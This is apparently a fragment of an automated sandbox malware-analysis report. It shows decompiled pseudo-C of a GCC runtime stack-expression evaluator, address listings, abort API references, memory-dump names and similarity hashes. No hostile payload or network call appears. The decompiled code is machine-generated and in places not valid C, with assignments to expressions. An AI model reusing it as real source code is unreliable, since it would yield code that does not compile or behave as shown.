									__eflags = __edi - __ecx;
									__esi = __ebx;
									__eax = 0 | __eflags <= 0x00000000;
									__edi = __eflags <= 0;
									goto L10;
								case 0x29:
									L126:
									__eax = 0;
									__eflags = __edi - __ecx;
									__esi = __ebx;
									__eax = 0 | __eflags < 0x00000000;
									__edi = __eflags < 0;
									goto L10;
								case 0x2a:
									L127:
									__eax = 0;
									__eflags = __edi - __ecx;
									__esi = __ebx;
									__eax = 0 | __eflags != 0x00000000;
									__edi = __eflags != 0;
									L10:
									__eflags = __ebp - 0x3f;
									if(__ebp > 0x3f) {
										goto L129;
									} else {
										L11:
										__eax =  &_a1;
										 *(__esp + 0x30 + __ebp * 4) = __edi;
										_a20 =  &_a1;
										goto L12;
									}
									goto L142;
							}
						}
						L142:
					}
					L13:
					__eax = _a20;
					if(__eax == 0) {
						break;
					} else {
						L14:
						__eax =  *(__esp + 0x2c + __eax * 4);
						__esp = __esp + 0x13c;
						_pop(__esi);
						_pop(__edi);
						return __eax;
					}
					goto L142;
				}
				L129:
				abort();
				L0042F4C0();
				abort();
				abort();
				abort();
				L0042F4C0();
				L0042F4C0();
				abort();
				abort();
				abort();
				abort();
				abort();
				abort();
				abort();
				_push(_t201);
				_t208 = _t207 - 0x1c;
				 *_t208 = "libgcc_s_dw2-1.dll";
				_t189 = GetModuleHandleA(_t195);
				_t209 = _t208 - 4;
				if(_t189 == 0) {
					 *0x4b6004 = 0x424590;
					_t202 = E00424340;
				} else {
					_t197 = _t189;
					 *_t209 = "libgcc_s_dw2-1.dll";
					_t192 = LoadLibraryA(??);
					_t211 = _t209 - 4;
					 *0x607df0 = _t192;
					_v40 = "__register_frame_info";
					 *_t211 = _t197;
					_t193 = GetProcAddress(??, ??);
					_t212 = _t211 - 8;
					_t202 = _t193;
					_v40 = "__deregister_frame_info";
					 *_t212 = _t197;
					 *0x4b6004 = GetProcAddress(??, ??);
					_t209 = _t212 - 8;
				}
				if(_t202 != 0) {
					_v40 = 0x60701c;
					 *_t209 = 0x5ca0f8;
					 *_t202();
				}
				 *_t209 = 0x401590;
				return E004014C0();
				goto L142;
			}

0x00421ec0
0x00421ec0
0x00421ec0
0x00421ec0
0x00421ec6
0x00000000
0x00000000
0x00421ecc
0x00421ecc
0x00421ecf
0x00421ed1
0x00421ed5
0x00421ede
0x00421fe5
0x00421ee4
0x00421ee4
0x00421ee8
0x00421ee8
0x00421b34
0x00421b34
0x00421b38
0x00000000
0x00000000
0x00421af0
0x00421af0
0x00421af6
0x00421afe
0x00421fb9
0x00421fb9
0x00000000
0x00421b04
0x00421b04
0x00421b04
0x00421b07
0x00000000
0x00421b10
0x00421b10
0x00421b14
0x00421b17
0x00421b17
0x00000000
0x00000000
0x00000000
0x00000000
0x00421ba0
0x00421ba0
0x00421ba4
0x00421ba6
0x00000000
0x00421bac
0x00421bac
0x00421bac
0x00421bae
0x00421bb1
0x00421bb5
0x00421bb8
0x00422059
0x00422059
0x0042205b
0x00421bbe
0x00421bbe
0x00421bbe
0x00421fc0
0x00421fc0
0x00421fc3
0x00421fd0
0x00421fd0
0x00421fd3
0x00000000
0x00421fd5
0x00421fd5
0x00421fd5
0x00421fd7
0x00421fd9
0x00421fdc
0x00421fde
0x00421fde
0x00421fc5
0x00421fc5
0x00421fc5
0x00421fc7
0x00421fc7
0x00421bc4
0x00421bc4
0x00421bc4
0x00421bc7
0x00421ff0
0x00421ff0
0x00421ff2
0x00421ff2
0x00421ff4
0x00421ff4
0x00421ff4
0x00421ff7
0x00421ffd
0x00422000
0x00422002
0x00422005
0x00422007
0x00422007
0x0042200b
0x0042200d
0x00421bcd
0x00421bcd
0x00421bcd
0x00421bd0
0x00421fb0
0x00421fb0
0x00421fb3
0x00422050
0x00422050
0x00422052
0x00000000
0x00000000
0x00000000
0x00421bd6
0x00421bd6
0x00421bd6
0x00421bda
0x00421bdd
0x00421bdf
0x00422131
0x00422131
0x00422134
0x00421be5
0x00421be5
0x00421be5
0x00422034
0x00422034
0x00422036
0x00000000
0x0042203c
0x0042203c
0x0042203c
0x0042203f
0x0042203f
0x00421beb
0x00421beb
0x00421beb
0x00421bed
0x00421bf7
0x00421bf7
0x00421bf9
0x00421bef
0x00421bef
0x00421bef
0x00421bf1
0x00000000
0x00000000
0x00000000
0x00000000
0x00421bf1
0x00421bed
0x00421be5
0x00421bdf
0x00421bd0
0x00421bc7
0x00421bbe
0x00000000
0x00421bb8
0x00000000
0x00000000
0x00421b90
0x00421b90
0x00421b94
0x00421b98
0x00000000
0x00000000
0x00421b80
0x00421b80
0x00421b84
0x00421b88
0x00000000
0x00000000
0x00421b72
0x00421b72
0x00421b76
0x00421b7a
0x00000000
0x00000000
0x00421b65
0x00421b65
0x00421b69
0x00421b6d
0x00000000
0x00000000
0x00421b55
0x00421b55
0x00421b58
0x00421b5c
0x00000000
0x00000000
0x00421e13
0x00421e13
0x00421e15
0x00421e17
0x00421e17
0x00421e20
0x00421e20
0x00421e20
0x00421e23
0x00421e29
0x00421e2c
0x00421e2e
0x00421e31
0x00421e33
0x00421e33
0x00421e37
0x00000000
0x00000000
0x00421dd0
0x00421dd0
0x00421dd2
0x00421dd2
0x00421dd4
0x00421dd4
0x00421dd4
0x00421dd7
0x00421ddd
0x00421de0
0x00421de2
0x00421de5
0x00421de7
0x00421de7
0x00421deb
0x00421dee
0x00000000
0x00421df4
0x00421df4
0x00421df4
0x00421df4
0x00421df7
0x00000000
0x00421dfd
0x00421dfd
0x00421dfd
0x00421e02
0x00421e06
0x00421e0a
0x00421e0c
0x00421e0c
0x00421df7
0x00000000
0x00000000
0x00421db0
0x00421db0
0x00421db4
0x00421db6
0x00000000
0x00421dbc
0x00421dbc
0x00421dbc
0x00421dc0
0x00000000
0x00421dc0
0x00000000
0x00000000
0x00421d90
0x00421d90
0x00421d94
0x00421d96
0x00000000
0x00421d9c
0x00421d9c
0x00421d9c
0x00421d9f
0x00421da1
0x00000000
0x00421da1
0x00000000
0x00000000
0x00421d73
0x00421d73
0x00421d77
0x00421d7a
0x00000000
0x00421d80
0x00421d80
0x00421d80
0x00421d84
0x00000000
0x00421d84
0x00000000
0x00000000
0x00421d50
0x00421d50
0x00421d54
0x00421d58
0x00421d5b
0x00421d5e
0x00421d60
0x00000000
0x00421d66
0x00421d66
0x00421d66
0x00421d68
0x00421d6a
0x00000000
0x00421d6a
0x00000000
0x00000000
0x00421f45
0x00421f45
0x00421f49
0x00421f4c
0x00000000
0x00421f52
0x00421f52
0x00421f52
0x00421f55
0x00421f58
0x00421f5c
0x00421f60
0x00421f64
0x00421f66
0x00000000
0x00421f66
0x00000000
0x00000000
0x00421f10
0x00421f10
0x00421f14
0x00421f17
0x00000000
0x00421f1d
0x00421f1d
0x00421f1d
0x00421f20
0x00421f23
0x00421f26
0x00421f2a
0x00421f2e
0x00421f32
0x00421f36
0x00421f3a
0x00421f3e
0x00000000
0x00421f3e
0x00000000
0x00000000
0x00421f70
0x00421f70
0x00421f74
0x00421f77
0x00000000
0x00421f7d
0x00421f7d
0x00421f7d
0x00421f80
0x00421f83
0x00421f87
0x00421f8b
0x00421f8e
0x00000000
0x00421f90
0x00421f90
0x00421f90
0x00421f93
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00421f93
0x00000000
0x00421f8e
0x00000000
0x00000000
0x00000000
0x00000000
0x00421f00
0x00421f00
0x00421f04
0x00000000
0x00000000
0x00421ef0
0x00421ef0
0x00421ef3
0x00421ef7
0x00000000
0x00000000
0x00421d10
0x00421d10
0x00421d13
0x00421d16
0x00000000
0x00421d1c
0x00421d1c
0x00421d1c
0x00421d20
0x00421d27
0x00421d2a
0x00421d2e
0x00421d3b
0x00421d3b
0x00421d3e
0x00000000
0x00421d44
0x00421d44
0x00000000
0x00421d44
0x00421d30
0x00421d30
0x00421d30
0x00421d35
0x00000000
0x00000000
0x00000000
0x00000000
0x00421d35
0x00421d2e
0x00000000
0x00000000
0x00421c90
0x00421c90
0x00421c92
0x00421c92
0x00421c94
0x00421ca0
0x00421ca0
0x00421ca0
0x00421ca3
0x00421ca9
0x00421cac
0x00421cae
0x00421cb1
0x00421cb3
0x00421cb3
0x00421cb7
0x00421cb9
0x00421cbb
0x00421cbd
0x00421cc0
0x00421cc2
0x00421cc2
0x00421cc5
0x00422029
0x0042202b
0x0042202d
0x0042202d
0x00421cc5
0x00421ccb
0x00421cce
0x00421cd1
0x00000000
0x00421cd7
0x00421cd7
0x00421cd7
0x00421cdb
0x00421ce2
0x00421ce5
0x00421ce9
0x00421cf2
0x00421cf2
0x00421cf5
0x00000000
0x00421cfb
0x00421cfb
0x00421cfb
0x00000000
0x00421cfb
0x00421ceb
0x00421ceb
0x00421ceb
0x00421cf0
0x00421cfd
0x00421cfd
0x00421cff
0x00421d01
0x00000000
0x00000000
0x00000000
0x00000000
0x00421cf0
0x00421ce9
0x00000000
0x00000000
0x00421c31
0x00421c31
0x00421c33
0x00421c33
0x00421c35
0x00421c35
0x00421c35
0x00421c38
0x00421c3e
0x00421c41
0x00421c43
0x00421c46
0x00421c48
0x00421c48
0x00421c4c
0x00421c4f
0x00000000
0x00421c55
0x00421c55
0x00421c55
0x00421c59
0x00421c60
0x00421c63
0x00421c67
0x00421c74
0x00421c74
0x00421c76
0x00000000
0x00421c7c
0x00421c7c
0x00421c7c
0x00421c7e
0x00421c82
0x00000000
0x00421c82
0x00421c69
0x00421c69
0x00421c69
0x00421c6e
0x00421fa0
0x00421fa0
0x00421fa4
0x00000000
0x00000000
0x00000000
0x00000000
0x00421c6e
0x00421c67
0x00000000
0x00000000
0x00421e40
0x00421e40
0x00421e42
0x00421e42
0x00421e44
0x00421e44
0x00421e44
0x00421e47
0x00421e4d
0x00421e50
0x00421e52
0x00421e55
0x00421e57
0x00421e57
0x00421e5b
0x00421e5d
0x00421e5d
0x00421e60
0x00421e60
0x00421e60
0x00421e63
0x00421e69
0x00421e6c
0x00421e6e
0x00421e71
0x00421e73
0x00421e73
0x00421e77
0x00421e7a
0x00421e7c
0x00421e7e
0x00422019
0x0042201b
0x0042201d
0x0042201d
0x00421e7e
0x00421e84
0x00421e87
0x00000000
0x00421e8d
0x00421e8d
0x00421e8d
0x00421e91
0x00421e98
0x00421e9b
0x00421e9f
0x00421ea8
0x00421ea8
0x00421eab
0x00000000
0x00421eb1
0x00421eb1
0x00421eb1
0x00000000
0x00421eb1
0x00421ea1
0x00421ea1
0x00421ea1
0x00421ea6
0x00421eb3
0x00421eb3
0x00421eb5
0x00421eb9
0x00000000
0x00000000
0x00000000
0x00000000
0x00421ea6
0x00421e9f
0x00000000
0x00000000
0x00421b61
0x00421b61
0x00000000
0x00000000
0x00421c00
0x00421c00
0x00421c04
0x00421c08
0x00421c0c
0x00421c0e
0x00421c13
0x00421c16
0x00421c19
0x00421c1b
0x00421c1d
0x00421c22
0x00421c26
0x00421c2a
0x00000000
0x00000000
0x00422062
0x00422062
0x00422064
0x00000000
0x00000000
0x0042206b
0x0042206b
0x0042206d
0x0042206f
0x00422070
0x00422070
0x00422070
0x00422072
0x00000000
0x00000000
0x00422079
0x00422079
0x0042207b
0x00000000
0x00000000
0x00422082
0x00422082
0x00422084
0x00422086
0x00422088
0x00422088
0x00422088
0x0042208a
0x00000000
0x00000000
0x00422091
0x00422091
0x00422094
0x00000000
0x00000000
0x0042209b
0x0042209b
0x0042209d
0x00000000
0x00000000
0x004220a4
0x004220a4
0x004220a6
0x00000000
0x00000000
0x004220ad
0x004220ad
0x004220af
0x00000000
0x00000000
0x004220b6
0x004220b6
0x004220b8
0x00000000
0x00000000
0x004220bf
0x004220bf
0x004220c1
0x00000000
0x00000000
0x004220c8
0x004220c8
0x004220ca
0x00000000
0x00000000
0x004220d1
0x004220d1
0x004220d3
0x004220d5
0x004220d7
0x004220da
0x00000000
0x00000000
0x004220e1
0x004220e1
0x004220e3
0x004220e5
0x004220e7
0x004220ea
0x00000000
0x00000000
0x004220f1
0x004220f1
0x004220f3
0x004220f5
0x004220f7
0x004220fa
0x00000000
0x00000000
0x00422101
0x00422101
0x00422103
0x00422105
0x00422107
0x0042210a
0x00000000
0x00000000
0x00422111
0x00422111
0x00422113
0x00422115
0x00422117
0x0042211a
0x00000000
0x00000000
0x00422121
0x00422121
0x00422123
0x00422125
0x00422127
0x0042212a
0x00421b20
0x00421b20
0x00421b23
0x00000000
0x00421b29
0x00421b29
0x00421b29
0x00421b2c
0x00421b30
0x00000000
0x00421b30
0x00000000
0x00000000
0x00421b07
0x00000000
0x00421afe
0x00421b3a
0x00421b3a
0x00421b40
0x00000000
0x00421b46
0x00421b46
0x00421b46
0x00421b4a
0x00421b51
0x00421b52
0x00421b54
0x00421b54
0x00000000
0x00421b40
0x004ae616
0x004ae616
0x004ae61b
0x004ae620
0x004ae625
0x004ae62a
0x004ae62f
0x004ae634
0x004ae639
0x004ae63e
0x004ae643
0x004ae648
0x004ae650
0x004ae655
0x004ae65a
0x004014e4
0x004014e6
0x004014e9
0x004014f0
0x004014f6
0x004014fb
0x00401570
0x0040157a
0x004014fd
0x004014fd
0x004014ff
0x00401506
0x00401512
0x00401515
0x0040151a
0x00401522
0x00401525
0x00401527
0x0040152a
0x0040152c
0x00401534
0x00401539
0x0040153e
0x0040153e
0x00401543
0x00401545
0x0040154d
0x00401554
0x00401554
0x00401556
0x00401569
0x00000000

APIs

abort.MSVCRT ref: 004AE616
abort.MSVCRT ref: 004AE61B
abort.MSVCRT ref: 004AE620
abort.MSVCRT(00422CFB), ref: 004AE625
abort.MSVCRT(00422CFB), ref: 004AE62A
abort.MSVCRT(00422CFB), ref: 004AE62F
abort.MSVCRT(00422CFB), ref: 004AE634
abort.MSVCRT(00422CFB), ref: 004AE639
abort.MSVCRT(00422CFB), ref: 004AE63E
abort.MSVCRT(00422CFB), ref: 004AE643
abort.MSVCRT(00422CFB), ref: 004AE648
abort.MSVCRT(?,?,00000000,?,00000000,76D84D40,00424A29), ref: 004AE650
abort.MSVCRT(?,?,00000000,?,00000000,76D84D40,00424A29), ref: 004AE655
abort.MSVCRT(?,?,00000000,?,00000000,76D84D40,00424A29), ref: 004AE65A

Memory Dump Source

Source File: 0000000D.00000002.711152433.0000000000401000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000D.00000002.711139798.0000000000400000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.711559528.00000000004B6000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.711569831.00000000004B7000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.712095510.00000000005B8000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.712263838.00000000005BB000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.712839547.0000000000608000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.712868979.000000000060B000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.713069833.000000000063F000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_400000_fl.jbxd

Similarity

API ID: abort
String ID:
API String ID: 4206212132-0
Opcode ID: 53c05d1239ba3496771453c687b3ec605afd0e2aa4350e09150cbdc52e39eec5
Instruction ID: 1799cf62df2409c51c89ed88324640e6a1d0e0825d9c3d512e93f9bf714a754f
Opcode Fuzzy Hash: 53c05d1239ba3496771453c687b3ec605afd0e2aa4350e09150cbdc52e39eec5
Instruction Fuzzy Hash: 68E0D831706133868320FF79A14012BA2F15FA0B48BD66E3FE449E3111FA28FC09815F

Uniqueness

Uniqueness Score: -1.00%

Function 00421F10 Relevance: 21.0, APIs: 14, Instructions: 33
COMMON

Download Yara Rule

C-Code - Quality: 20%

			E00421F10(CHAR* __ebx, char _a1, signed int _a20, intOrPtr _a24, signed int _a28, signed int _a44) {
				char _v1;
				void* _v16;
				char* _v40;
				struct HINSTANCE__* _t189;
				struct HINSTANCE__* _t192;
				_Unknown_base(*)()* _t193;
				CHAR* _t195;
				struct HINSTANCE__* _t197;
				_Unknown_base(*)()* _t202;
				void* _t207;
				char** _t208;
				char** _t209;
				struct HINSTANCE__** _t211;
				struct HINSTANCE__** _t212;

				L0:
				while(1) {
					L0:
					_t195 = __ebx;
					if(_a20 <= 2) {
						break;
					}
					L88:
					__ecx = __eax - 1;
					__edx = __eax - 2;
					__eax = __eax - 3;
					__esi =  *(__esp + 0x30 + __ecx * 4);
					__ebp =  *(__esp + 0x30 + __edx * 4);
					__edi =  *(__esp + 0x30 + __eax * 4);
					 *(__esp + 0x30 + __ecx * 4) = __ebp;
					 *(__esp + 0x30 + __edx * 4) = __edi;
					 *(__esp + 0x30 + __eax * 4) =  *(__esp + 0x30 + __ecx * 4);
					__esi = __ebx;
					while(1) {
						L12:
						if(_a24 <= __esi) {
							break;
						}
						L7:
						__eax =  *__esi & 0x000000ff;
						__ebx = __esi + 1;
						__ecx = __eax - 3;
						__edx = __eax;
						if(__cl > 0xee) {
							L96:
							abort();
							goto L97;
						} else {
							L8:
							__ecx = __cl & 0x000000ff;
							switch( *((intOrPtr*)(__ecx * 4 +  &M005C3C10))) {
								case 0:
									L9:
									__ebp = _a20;
									__edi =  *(__esi + 1);
									__esi = __esi + 5;
									__eflags = __esi;
									goto L10;
								case 1:
									goto L96;
								case 2:
									L22:
									__eax = _a20;
									__eflags = __eax;
									if(__eax == 0) {
										goto L129;
									} else {
										L23:
										__ebp = __eax;
										__ebp =  &_v1;
										__edi =  *(__esp + 0x30 + __ebp * 4);
										__eflags = __dl - 0x1f;
										if(__eflags == 0) {
											L110:
											__edi =  ~__edi;
											__esi = __ebx;
										} else {
											L24:
											if(__eflags <= 0) {
												L97:
												__eflags = __dl - 6;
												if(__dl != 6) {
													L99:
													__eflags = __dl - 0x19;
													if(__dl != 0x19) {
														goto L96;
													} else {
														L100:
														__eax = __edi;
														__esi = __ebx;
														__eax = __edi >> 0x1f;
														__edi = __edi ^ __eax;
														__edi = __edi - __eax;
													}
												} else {
													L98:
													__edi =  *__edi;
													__esi = __ebx;
												}
											} else {
												L25:
												__eflags = __dl - 0x23;
												if(__dl == 0x23) {
													L102:
													__esi = 0;
													__ecx = 0;
													__eflags = 0;
													do {
														L103:
														__ebx = __ebx + 1;
														__edx =  *(__ebx - 1) & 0x000000ff;
														 *(__ebx - 1) & 0x000000ff =  *(__ebx - 1) & 0x7f;
														__eax = ( *(__ebx - 1) & 0x7f) << __cl;
														__ecx = __ecx + 7;
														__esi = __esi | ( *(__ebx - 1) & 0x7f) << __cl;
														__eflags = __dl;
													} while (__dl < 0);
													__edi = __edi + __esi;
													__esi = __ebx;
												} else {
													L26:
													__eflags = __dl - 0x94;
													if(__dl != 0x94) {
														L95:
														__eflags = __dl - 0x20;
														if(__dl == 0x20) {
															L109:
															__edi =  !__edi;
															__esi = __ebx;
														} else {
															goto L96;
														}
													} else {
														L27:
														__eax =  *(__esi + 1) & 0x000000ff;
														__edx = __esi + 2;
														__eflags = __al - 2;
														if(__eflags == 0) {
															L128:
															__edi =  *__edi & 0x0000ffff;
															__esi = __edx;
														} else {
															L28:
															if(__eflags <= 0) {
																L107:
																__eflags = __al - 1;
																if(__al != 1) {
																	goto L96;
																} else {
																	L108:
																	__edi =  *__edi & 0x000000ff;
																	__esi = __edx;
																}
															} else {
																L29:
																__eflags = __al - 4;
																if(__al == 4) {
																	L31:
																	__edi =  *__edi;
																	__esi = __edx;
																} else {
																	L30:
																	__eflags = __al - 8;
																	if(__al != 8) {
																		goto L96;
																	} else {
																		goto L31;
																	}
																}
															}
														}
													}
												}
											}
										}
										goto L10;
									}
									goto L142;
								case 3:
									L21:
									__edi =  *(__esi + 1) & 0x000000ff;
									__ebp = _a20;
									__esi = __esi + 2;
									goto L10;
								case 4:
									L20:
									__edi =  *(__esi + 1);
									__ebp = _a20;
									__esi = __esi + 2;
									goto L10;
								case 5:
									L19:
									__edi =  *(__esi + 1) & 0x0000ffff;
									__ebp = _a20;
									__esi = __esi + 3;
									goto L10;
								case 6:
									L18:
									__edi =  *(__esi + 1);
									__ebp = _a20;
									__esi = __esi + 3;
									goto L10;
								case 7:
									L16:
									__edi =  *(__esi + 1);
									__ebp = _a20;
									__esi = __esi + 9;
									goto L10;
								case 8:
									L68:
									__esi = __ebx;
									__edi = 0;
									__ecx = 0;
									__eflags = 0;
									do {
										L69:
										__esi = __esi + 1;
										__edx =  *(__esi - 1) & 0x000000ff;
										 *(__esi - 1) & 0x000000ff =  *(__esi - 1) & 0x7f;
										__eax = ( *(__esi - 1) & 0x7f) << __cl;
										__ecx = __ecx + 7;
										__edi = __edi | ( *(__esi - 1) & 0x7f) << __cl;
										__eflags = __dl;
									} while (__dl < 0);
									__ebp = _a20;
									goto L10;
								case 9:
									L63:
									__edi = 0;
									__ecx = 0;
									__eflags = 0;
									do {
										L64:
										__ebx = __ebx + 1;
										__edx =  *(__ebx - 1) & 0x000000ff;
										__edx = __edx & 0x0000007f;
										__eax = (__edx & 0x0000007f) << __cl;
										__ecx = __ecx + 7;
										__edi = __edi | (__edx & 0x0000007f) << __cl;
										__eflags = __dl;
									} while (__dl < 0);
									__eflags = __ecx - 0x1f;
									if(__ecx > 0x1f) {
										goto L94;
									} else {
										L66:
										__edx = __edx & 0x00000040;
										__eflags = __edx;
										if(__edx == 0) {
											goto L94;
										} else {
											L67:
											__eax = 1;
											__ebp = _a20;
											__esi = __ebx;
											1 << __cl =  ~(1 << __cl);
											__edi = __edi |  ~(1 << __cl);
										}
									}
									goto L10;
								case 0xa:
									L61:
									__ebp = _a20;
									__eflags = __ebp;
									if(__ebp == 0) {
										goto L129;
									} else {
										L62:
										__edi =  *(__esp + 0x2c + __ebp * 4);
										__esi = __ebx;
										goto L10;
									}
									goto L142;
								case 0xb:
									L59:
									__eax = _a20;
									__eflags = __eax;
									if(__eax == 0) {
										goto L129;
									} else {
										L60:
										__eax = __eax - 1;
										__esi = __ebx;
										_a20 = __eax;
										goto L12;
									}
									goto L142;
								case 0xc:
									L57:
									__ebp = _a20;
									__eflags = __ebp - 1;
									if(__ebp <= 1) {
										goto L129;
									} else {
										L58:
										__edi =  *(__esp + 0x28 + __ebp * 4);
										__esi = __ebx;
										goto L10;
									}
									goto L142;
								case 0xd:
									L55:
									__ebp = _a20;
									__ecx =  *(__esi + 1) & 0x000000ff;
									__edx = __esi + 2;
									__eax =  &_v1;
									__eflags = __ecx - __eax;
									if(__ecx >= __eax) {
										goto L129;
									} else {
										L56:
										__eax = __eax - __ecx;
										__esi = __edx;
										__edi =  *(__esp + 0x30 + __eax * 4);
										goto L10;
									}
									goto L142;
								case 0xe:
									L89:
									__eax = _a20;
									__eflags = __eax - 1;
									if(__eax <= 1) {
										goto L129;
									} else {
										L90:
										__edx = __eax - 1;
										__eax = __eax - 2;
										__esi =  *(__esp + 0x30 + __eax * 4);
										__ecx =  *(__esp + 0x30 + __edx * 4);
										 *(__esp + 0x30 + __edx * 4) =  *(__esp + 0x30 + __eax * 4);
										__esi = __ebx;
										 *(__esp + 0x30 + __eax * 4) =  *(__esp + 0x30 + __edx * 4);
										goto L12;
									}
									goto L142;
								case 0xf:
									goto L0;
								case 0x10:
									L91:
									__eax = _a20;
									__eflags = __eax - 1;
									if(__eax <= 1) {
										goto L129;
									} else {
										L92:
										__ebp = __eax - 2;
										__edx = __edx - 0x1a;
										__ecx =  *(__esp + 0x2c + __eax * 4);
										__edi =  *(__esp + 0x30 + __ebp * 4);
										__eflags = __dl - 0x14;
										if(__dl > 0x14) {
											goto L96;
										} else {
											L93:
											__edx = __dl & 0x000000ff;
											switch( *((intOrPtr*)((__dl & 0x000000ff) * 4 +  &M005C3FCC))) {
												case 0:
													goto L111;
												case 1:
													goto L112;
												case 2:
													goto L113;
												case 3:
													goto L114;
												case 4:
													goto L115;
												case 5:
													goto L96;
												case 6:
													goto L116;
												case 7:
													goto L117;
												case 8:
													goto L118;
												case 9:
													goto L119;
												case 0xa:
													goto L120;
												case 0xb:
													goto L121;
												case 0xc:
													goto L122;
												case 0xd:
													goto L123;
												case 0xe:
													goto L124;
												case 0xf:
													goto L125;
												case 0x10:
													goto L126;
												case 0x11:
													goto L127;
											}
										}
										goto L10;
									}
									goto L142;
								case 0x11:
									L83:
									__eax = _a20;
									__eflags = __eax;
									if(__eax == 0) {
										goto L129;
									} else {
										L84:
										__eax = __eax - 1;
										__edi = __eax;
										_a20 = __eax;
										__eax = __esi + 3;
										__edx =  *(__esp + 0x30 + __edi * 4);
										__eflags =  *(__esp + 0x30 + __edi * 4);
										if( *(__esp + 0x30 + __edi * 4) == 0) {
											__esi = __eax;
										} else {
											__esi =  *(__esi + 1);
											__esi = __esi + __eax;
										}
										goto L12;
									}
									goto L142;
								case 0x12:
									L87:
									__eax =  *(__esi + 1);
									__esi = __esi +  *(__esi + 1) + 3;
									goto L12;
								case 0x13:
									L86:
									__edi = __eax - 0x30;
									__ebp = _a20;
									__esi = __ebx;
									goto L10;
								case 0x14:
									L50:
									__eax = __eax - 0x50;
									__eflags = __eax - 0x11;
									if(__eax > 0x11) {
										goto L129;
									} else {
										L51:
										__esi = _a28;
										__edx =  *(__eax + 0x6073f4) & 0x000000ff;
										__edi =  *(__esi + __eax * 4);
										__eflags =  *(__esi + 0x63) & 0x00000040;
										if(( *(__esi + 0x63) & 0x00000040) == 0) {
											L53:
											__eflags = __dl - 4;
											if(__dl == 4) {
												goto L39;
											} else {
												L54:
												goto L129;
											}
										} else {
											L52:
											__eflags =  *((char*)(__esi + __eax + 0x6c));
											if( *((char*)(__esi + __eax + 0x6c)) != 0) {
												goto L94;
											} else {
												goto L53;
											}
										}
									}
									goto L142;
								case 0x15:
									L40:
									__ebp = 0;
									__ecx = 0;
									__eflags = 0;
									__esi = __eax;
									do {
										L41:
										__ebx = __ebx + 1;
										__eax =  *(__ebx - 1) & 0x000000ff;
										__eax = __eax & 0x0000007f;
										__edx = (__eax & 0x0000007f) << __cl;
										__ecx = __ecx + 7;
										__ebp = __ebp | (__eax & 0x0000007f) << __cl;
										__eflags = __al;
									} while (__al < 0);
									__edi = __eax;
									__eax = __esi;
									__esi = __edi;
									__eflags = __ecx - 0x1f;
									if(__ecx <= 0x1f) {
										__esi = __esi & 0x00000040;
										__eflags = __esi;
										if(__esi != 0) {
											1 = 1 << __cl;
											__edx =  ~(1 << __cl);
											__ebp = __ebp |  ~(1 << __cl);
										}
									}
									__eax = __eax - 0x70;
									__eflags = __eax - 0x11;
									if(__eax > 0x11) {
										goto L129;
									} else {
										L45:
										__esi = _a28;
										__edx =  *(__eax + 0x6073f4) & 0x000000ff;
										__edi =  *(__esi + __eax * 4);
										__eflags =  *(__esi + 0x63) & 0x00000040;
										if(( *(__esi + 0x63) & 0x00000040) == 0) {
											L47:
											__eflags = __dl - 4;
											if(__dl != 4) {
												goto L129;
											} else {
												L48:
												__edi =  *__edi;
												goto L49;
											}
										} else {
											L46:
											__eflags =  *((char*)(__esi + __eax + 0x6c));
											if( *((char*)(__esi + __eax + 0x6c)) != 0) {
												L49:
												__edi = __edi + __ebp;
												__esi = __ebx;
												__ebp = _a20;
												goto L10;
											} else {
												goto L47;
											}
										}
									}
									goto L142;
								case 0x16:
									L33:
									__esi = 0;
									__ecx = 0;
									__eflags = 0;
									do {
										L34:
										__ebx = __ebx + 1;
										__edx =  *(__ebx - 1) & 0x000000ff;
										 *(__ebx - 1) & 0x000000ff =  *(__ebx - 1) & 0x7f;
										__eax = ( *(__ebx - 1) & 0x7f) << __cl;
										__ecx = __ecx + 7;
										__esi = __esi | ( *(__ebx - 1) & 0x7f) << __cl;
										__eflags = __dl;
									} while (__dl < 0);
									__eflags = __esi - 0x11;
									if(__esi > 0x11) {
										goto L129;
									} else {
										L36:
										__ecx = _a28;
										__eax =  *(__esi + 0x6073f4) & 0x000000ff;
										__edi =  *(__ecx + __esi * 4);
										__eflags =  *(__ecx + 0x63) & 0x00000040;
										if(( *(__ecx + 0x63) & 0x00000040) == 0) {
											L38:
											__eflags = __al - 4;
											if(__al != 4) {
												goto L129;
											} else {
												L39:
												__edi =  *__edi;
												__ebp = _a20;
												__esi = __ebx;
												goto L10;
											}
										} else {
											L37:
											__eflags =  *((char*)(__ecx + __esi + 0x6c));
											if( *((char*)(__ecx + __esi + 0x6c)) != 0) {
												L94:
												__ebp = _a20;
												__esi = __ebx;
												goto L10;
											} else {
												goto L38;
											}
										}
									}
									goto L142;
								case 0x17:
									L71:
									__esi = 0;
									__ecx = 0;
									__eflags = 0;
									do {
										L72:
										__ebx = __ebx + 1;
										__edx =  *(__ebx - 1) & 0x000000ff;
										 *(__ebx - 1) & 0x000000ff =  *(__ebx - 1) & 0x7f;
										__eax = ( *(__ebx - 1) & 0x7f) << __cl;
										__ecx = __ecx + 7;
										__esi = __esi | ( *(__ebx - 1) & 0x7f) << __cl;
										__eflags = __dl;
									} while (__dl < 0);
									__edi = 0;
									__ecx = 0;
									__eflags = 0;
									do {
										L74:
										__ebx = __ebx + 1;
										__eax =  *(__ebx - 1) & 0x000000ff;
										 *(__ebx - 1) & 0x000000ff =  *(__ebx - 1) & 0x7f;
										__edx = ( *(__ebx - 1) & 0x7f) << __cl;
										__ecx = __ecx + 7;
										__edi = __edi | ( *(__ebx - 1) & 0x7f) << __cl;
